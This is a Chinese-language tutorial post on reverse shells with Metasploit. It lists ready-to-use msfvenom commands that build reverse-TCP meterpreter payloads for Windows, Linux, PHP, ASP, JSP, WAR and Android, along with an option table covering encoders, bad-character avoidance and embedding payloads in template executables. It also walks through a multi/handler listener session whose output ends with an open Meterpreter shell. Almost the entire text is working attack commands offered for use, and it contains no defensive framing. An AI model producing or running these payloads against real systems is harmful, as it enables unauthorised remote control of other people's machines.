反弹shell的使用

2023-07-30 17:18:47 浏览数 (4)

一般流程:

  1. 使用msfvenom创建payload
  2. 将payload上传至目标
  3. msf开启监听
  4. 目标运行payload
  5. msf获取shell

一些参数含义:

  1. LHOST:监听器的ip。
  2. LPORT:监听器的port。
  3. RHOST:目标机器的ip。
  4. RPORT:目标机器的port。

payload生成:

代码语言:javascript复制
Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe > 保存路径/文件名

Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f elf > 保存路径/文件名

PHP:
msfvenom -p php/meterpreter_reverse_tcp lhost=[你的IP] lport=[端口] -f raw > 保存路径/文件名.php

ASP:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口]-f asp > 保存路径/文件名.asp

JSP: 
msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[端口]-f raw > 保存路径/文件名.jsp 

WAR: 
msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[端口]-f war > 保存路径/文件名.war

Android:
msfvenom -p android/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -o 保存路径/文件名.apk

msfvenom参数:

代码语言:javascript复制
  Options:
     -p, --payload    <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定
     -l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
     -n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
     -f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
     -e, --encoder    [encoder]       指定需要使用的encoder(编码器)
     -a, --arch       <architecture>  指定payload的目标架构
         --platform   <platform>      指定payload的目标平台
     -s, --space      <length>        设定有效攻击荷载的最大长度
     -b, --bad-chars  <list>          设定规避字符集,比如: &#039;x00xff&#039;
     -i, --iterations <count>         指定payload的编码次数
     -c, --add-code   <path>          指定一个附加的win32 shellcode文件
     -x, --template   <path>          指定一个自定义的可执行文件作为模板
     -k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
         --payload-options            列举payload的标准选项
     -o, --out   <path>               保存payload
     -v, --var-name <name>            指定一个自定义的变量,以确定输出格式
         --shellest                   最小化生成payload
     -h, --help                       查看帮助选项
         --help-formats               查看msf支持的输出格式列表

监听:

代码语言:javascript复制
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
msf exploit(handler) > set lport 4444
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43-0500
meterpreter >

0 人点赞